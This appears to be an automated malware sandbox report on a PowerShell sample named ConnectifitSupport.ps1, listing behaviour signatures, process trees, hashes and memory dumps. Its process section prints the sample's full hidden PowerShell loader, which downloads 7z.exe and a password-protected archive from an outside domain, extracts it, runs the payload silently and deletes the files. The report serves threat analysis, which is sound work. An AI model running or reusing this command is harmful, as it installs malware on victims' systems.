Overview

overview

8

Static

static

1

07052026_0...rt.ps1

windows10-2004-x64

8

07052026_0...rt.ps1

windows11-21h2-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/05/2026, 03:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    07052026_0313_ConnectifitSupport.ps1
  • Size 4KB
  • Sample260507-dtw5yaev4y
  • SHA256 b508afd69cf73fcd9e11086957d86660100434e0d926cd88961c4bc3e9444aa2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\07052026_0313_ConnectifitSupport.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;$g7='7z';$h8='P6xHzFbMdK';$i9=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $i9 -Force|Out-Null;$j10=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.exe');$k11=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.'+$g7);$l12=0;for($m13=0;$m13 -lt 3 -and -not $l12;$m13++){try{if(-not (Test-Path $j10)){Invoke-WebRequest -Uri 'https://best-claudns-js.beer/api/7z.exe' -OutFile $j10 -UseBasicParsing}Invoke-WebRequest -Uri 'https://best-claudns-js.beer/api/index.php?a=dl&token=3d785eeec3ffa2da444e6b626f7fa8132b370a5a5a50f8fb2a46134c36153ba7&src=cloudflare&cb=edge&ref=file%3A%2F%2F%2FC%3A%2FUsers%2Fmilkream%2FAppData%2FLocal%2FTemp%2Fcerbero_scan%2F6cdf23cddc5e35c0a915e1472a74e4ee7c5fed8bd9c9f03e9ba7c7702fc4e7c0.html&mode=cloudflare' -OutFile $k11 -UseBasicParsing;if(Test-Path $k11){$l12=1}else{Start-Sleep -Seconds 2}}catch{Start-Sleep -Seconds 2}};if(-not (Test-Path $k11)){exit};$n14=Join-Path $i9 ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $n14 -Force|Out-Null;$o15=@('x','-y');if($h8 -ne ''){$o15+=('-p'+$h8)}$o15+=('-o'+$n14);$o15+=$k11;if(Test-Path $j10){& $j10 @o15|Out-Null}else{Start-Process -FilePath $k11 -WindowStyle Hidden};$p16=Get-ChildItem -Path $n14 -Filter *.exe -Recurse -File|Select-Object -First 1;$q17=Get-ChildItem -Path $n14 -Filter *.msi -Recurse -File|Select-Object -First 1;$r18=$null;$s19=$null;if($p16){$r18=$p16.FullName;$s19=$p16.Directory.FullName}elseif($q17){$r18=$q17.FullName;$s19=$q17.Directory.FullName}else{$r18=$k11};if($r18){if($s19){Start-Process -FilePath $r18 -WorkingDirectory $s19 -WindowStyle Hidden}else{Start-Process -FilePath $r18 -WindowStyle Hidden}};try{Remove-Item -LiteralPath $k11 -Force -ErrorAction SilentlyContinue}catch{};try{if(Test-Path $j10){Remove-Item -LiteralPath $j10 -Force -ErrorAction SilentlyContinue}}catch{};
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4932

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 c0b2d34b817c9a9264b4d349d788cd19041539e1b2c45772ecbbc737fb7f29b2
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_kq1hv3kp.vpm.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kq1hv3kp.vpm.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1996-0-0x000002236F6C0000-0x000002236F6D0000-memory.dmp
        Download

        memory/1996-1-0x000002236F6C0000-0x000002236F6D0000-memory.dmp
        Download

        memory/1996-9-0x000002236F900000-0x000002236F922000-memory.dmp
        Download

        memory/1996-12-0x00000223570C0000-0x00000223570CC000-memory.dmp
        Download

        memory/4932-14-0x0000025FFE380000-0x0000025FFE390000-memory.dmp
        Download

        memory/4932-15-0x0000025FFE380000-0x0000025FFE390000-memory.dmp
        Download

        memory/4932-26-0x0000025FFDD00000-0x0000025FFDD0C000-memory.dmp
        Download